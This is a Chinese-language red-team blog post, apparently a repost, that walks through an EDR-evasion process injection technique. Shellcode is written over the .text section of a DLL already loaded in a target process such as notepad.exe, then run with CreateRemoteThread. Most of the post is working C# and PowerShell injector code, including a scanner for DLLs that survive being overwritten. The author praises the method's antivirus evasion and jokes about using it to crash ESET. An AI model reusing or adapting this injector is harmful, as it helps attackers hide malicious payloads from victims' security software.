Alternative Process Injection

2021-12-29 12:34:56 浏览数 (1)

前言

比较常见的进程注入是:CreateRemoteThread。

主要过程为:

1.VirtualAllocEx -> 分配内存空间来暂存 shellcode

2 .WriteProcessMemory -> 将解密/解码的shellcode写入内存空间

3 .CreateRemoteThread -> 在进程上新建一个线程,起始地址指向内存空间

但是这样的手法早已被EDR拦得死死的。

本文的手法主要是将 shellcode 注入已加载的 DLL 内存页面来替代常见的注入手法来绕过EDR的检测。

获取可操作DLL

一般情况下:如果我们把shellcode写进现有的 DLL 内存页面时,进程可能会崩溃,因为该内存页面已被进程使用。

那么我们如果需要注入到正在加载中的dll时,我们需要满足以下条件:

  • 内存页应该属于 .text 部分,因为它本质上在内存页上具有执行权(即PAGE_EXECUTE_READ
  • 内存页应该提供足够的空间来存储shellcode
  • 覆盖内存页中的字节不应使进程崩溃
  • DLL 由不同的进程共同加载

在原文中作者给出了一个用来测试的C#

代码语言:javascript复制
static void Main(string[] args)
{
    string targetProcess = @"c:WindowsSystem32notepad.exe";
    byte[] buf = new byte[] { //Sample MsgBox shellcode// };
    STARTUPINFO si = new STARTUPINFO();
    PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    bool success = CreateProcess(targetProcess, null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi);
    Process processObj = Process.GetProcessById((int)pi.dwProcessId);
    Thread.Sleep(2000); // Sleep to make sure all modules have been loaded by the process
    Console.WriteLine("Total modules to be scanned: "   processObj.Modules.Count);
    processObj.Kill();
    Dictionary<string, bool> testDll = new Dictionary<string, bool>();
    while (testDll.Count < processObj.Modules.Count) {
        si = new STARTUPINFO();
        pi = new PROCESS_INFORMATION();
        CreateProcess(targetProcess, null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi);
        processObj = Process.GetProcessById((int)pi.dwProcessId);
        Thread.Sleep(2000); // 休眠以确保进程已加载所有模块
        foreach (ProcessModule module in processObj.Modules) {
            if (!testDll.ContainsKey(module.FileName)) {
                IntPtr addr = (module.BaseAddress   4096); // 获取 .text 部分的地址
                IntPtr outSize;
                uint oldProtect;
                VirtualProtectEx(processObj.Handle, addr, (UIntPtr)buf.Length, 0x04, out oldProtect);
                WriteProcessMemory(processObj.Handle, addr, buf, buf.Length, out outSize);
                VirtualProtectEx(processObj.Handle, addr, (UIntPtr)buf.Length, 0x20, out oldProtect);
                IntPtr hThread = CreateRemoteThread(processObj.Handle, IntPtr.Zero, 0, addr, IntPtr.Zero, 0x0, out hThread);
                Thread.Sleep(10000);
                if (!Process.GetProcesses().Any(x => x.Id == pi.dwProcessId)) {
                    testDll.Add(module.FileName, false);
                    break;
                } else {
                    MEMORY_BASIC_INFORMATION64 mem_basic_info = new MEMORY_BASIC_INFORMATION64();
                    VirtualQueryEx(pi.hProcess, addr, out mem_basic_info, (uint)Marshal.SizeOf(mem_basic_info));
                    Console.WriteLine("Found valid candidate: "   module.FileName   ", region size available on the .text section: "   mem_basic_info.RegionSize);
                    testDll.Add(module.FileName, true);
                    processObj.Kill();
                    break;
                }
            }
        }
    }
}

代码简单:将 shellcode 注入目标进程(例如,notepad.exe)不断加载的每个 DLL 的 .text 部分,如果注入没有使进程崩溃,则返回结果。

注入方法

在原文中使用的是:远线程(CreateRemoteThread)注入.

基本方法为:

使用OpenProcess打开目标进程;

使用VirtuallocEx在目标进程中分配eXecute-Read-Write (XRW)内存;

使用WriteProcessMemory将shellcode有效内容复制到新内存;

远程进程中创建一个新的线程来执行shellcode(CreateRemoteThread);

使用VirtualFreeEx在目标进程中解除分配XRW内存;

使用CloseHandle关闭目标进程句柄。

这个注入手法这是没有使用OpenProcess打开目标进程,而是使用了往目标进程中加载的dll的.text 代码段区域进行读写shellcode。

代码语言:javascript复制
粗暴的理解,这个技术就是把 shellcode 复制到一个 DLL 的 .text 段,并且这个 DLL 不会引起进程的奔溃(有些 DLL 只需要执行一次,没有 free ,所以覆盖没问题)带来的效果,没有内存分配相关函数。
跟Module Stomping 最主要区别在于作者的这种方法没有 Loadlibrary。
----来着@伍默(红队学院星球)

注入步骤为:

1.获取目标进程中加载目标DLL的基址:

通过获取句柄,然后列出目标进程加载的所有DLL

代码语言:javascript复制
Get-Process -name powershell #获取目标句柄
(Get-Process -name powershell).Modules #获取目标进程加载的所有DLL

获取DLL的基址

代码语言:javascript复制
$addr = $Modules.BaseAddress

powershell demo

代码语言:javascript复制
$process_name = "";
  $dll_name = @("");
  $process_id = (Get-Process -name $process_name)[0].Id;
#获取进程加载的dll
  $Modules = (Get-Process -name $process_name).Modules;

  if ($Modules.moduleName.ToLower().Contains($dll_name))
  {
    $addr = $Modules.BaseAddress   4096;;
}

C# demo

代码语言:javascript复制
Process processObj = Process.GetProcessById(pid);
foreach (ProcessModule module in processObj.Modules)
{
    if (module.FileName.ToLower().Contains("msvcp_win.dll"))
    {
        IntPtr addr = module.BaseAddress   4096; // Point to .text section
        //Write and inject
    }
}

2.使用VirtualProtectEx修改内存属性

找到 .text 部分的地址,使用VirtualProtectEx把内存保护标志将从RX更改为RW,允许我们把 shellcode 复制到内存页面中。

Powershell Demo:

代码语言:javascript复制
#VirtualProtectEx调用
    [Dll_text_inject]::VirtualProtectEx(
      $hProcess,
      [IntPtr]::Zero,
      $dwSize,
      0x04,
      0x40
    );

C# Demo

代码语言:javascript复制
uint oldProtect = 0;
VirtualProtectEx(
hProcess, addr,
(UIntPtr)buf.Length,
0x04,
out oldProtect
);

3.使用WriteProcessMemory将shellcode有效内容复制到新内存;

Powershell Demo:

代码语言:javascript复制
[Dll_text_inject]::WriteProcessMemory(
      $hProcess,
      $addr, #要写的内存首地址
      $shellcode,
      $Shellcode.Length,
      [ref]$lpNumberOfBytesWritten #Null
    );

C# demo

代码语言:javascript复制
WriteProcessMemory(
processObj.Handle,
addr,
buf,
buf.Length,
out outSize
);

4.使用VirtualProtectEx将再次用于将内存保护标志从RW恢复到RX

使用VirtualProtectEx ( RX->RW->RX )手动更新保护标志来进行OPSEC,防止内存页的保护标志设置为RWX/WCX。

C# demo

代码语言:javascript复制
VirtualProtectEx(
processObj.Handle,
addr,
(UIntPtr)buf.Length,
0x20,
out oldProtect
);

powershell demo

代码语言:javascript复制
[Dll_text_inject]::VirtualProtectEx(
      $hProcess,
      [IntPtr]::Zero,
      $dwSize,
      0x20,
      0x40
    );

5.使用CreateRemoteThread创建一个新线程

在远程进程中创建一个新的线程来执行shellcode(CreateRemoteThread)

C# demo

代码语言:javascript复制
IntPtr hThread = CreateRemoteThread(
processObj.Handle,
IntPtr.Zero,
0,
addr,
IntPtr.Zero,
0x0,
out hThread
);

Powershell Demo

代码语言:javascript复制
[Dll_text_inject]::CreateRemoteThread(
      $hProcess,
      [IntPtr]::Zero,
      0,
      $addr,
      [IntPtr]::Zero,
      0x0,
      [ref]$pi
    );

C# demo

代码语言:javascript复制
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;


namespace AnotherDLLHollowing
{
    class Program
    {
        [DllImport("kernel32.dll")]
      static extern bool WriteProcessMemory(
      IntPtr hProcess,
      IntPtr lpBaseAddress,
      byte[] lpBuffer,
      Int32 nSize,
      out IntPtr lpNumberOfBytesWritten
);


        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(
      IntPtr hProcess,
      IntPtr lpThreadAttributes,
      uint dwStackSize,
      IntPtr lpStartAddress,
      IntPtr lpParameter,
      uint dwCreationFlags,
      out IntPtr lpThreadId
);


        [DllImport("kernel32.dll")]
        static extern bool VirtualProtectEx(
      IntPtr hProcess,
      IntPtr lpAddress,
      UIntPtr dwSize,
      uint flNewProtect,
      out uint lpflOldProtect
);


        static void Main(string[] args)
        {
            int pid = Process.GetProcessesByName("notepad")[0].Id;
            byte[] buf = new byte[] {}

      Process processObj = Process.GetProcessById(pid);

      foreach (ProcessModule module in processObj.Modules)
            {
                if (module.FileName.ToLower().Contains("msvcp_win.dll"))
                {
                    IntPtr addr = module.BaseAddress   4096;
                    IntPtr outSize;
                    uint oldProtect;

          VirtualProtectEx(
            processObj.Handle,
            addr,
            (UIntPtr)buf.Length,
            0x04,
            out oldProtect
            );

            WriteProcessMemory(
            processObj.Handle,
            addr, buf,
            buf.Length,
            out outSize
            );

          VirtualProtectEx(
            processObj.Handle,
            addr,
            (UIntPtr)buf.Length,
            0x20,
            out oldProtect
            );

          IntPtr hThread = CreateRemoteThread(
            processObj.Handle,
            IntPtr.Zero,
            0,
            addr,
            IntPtr.Zero,
            0x0,
            out hThread
            );

                    break;
                }
            }
        }
    }
}

powershell的demo就不发了,最近在学powershell写东西,顺便写了个powershell的demo

优点

这个注入对于DLL Hollowing的优点就是:

  • 不需要加载任何新的合法库
  • 避免 IOC 丢失 PEB 模块,因为新加载的库不是使用 LdrLoadDll 调用的

但是并不是很稳定,目标进程很可能在注入后无法使用,例如我花了一点时间来怎么样注入到ESET中时,eset的进程就会崩溃,(可能是DLL的问题)。

如果在项目中没有办法绕过ESET的话,可以这样直接注崩溃ESET哈哈哈。

目前这个注入的免杀还是ok的。

感兴趣的同学还可以看看这个代码

代码语言:javascript复制
https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/RemoteThreadDll.cs

原文:

代码语言:javascript复制
https://www.netero1010-securitylab.com/eavsion/alternative-process-injection

0 人点赞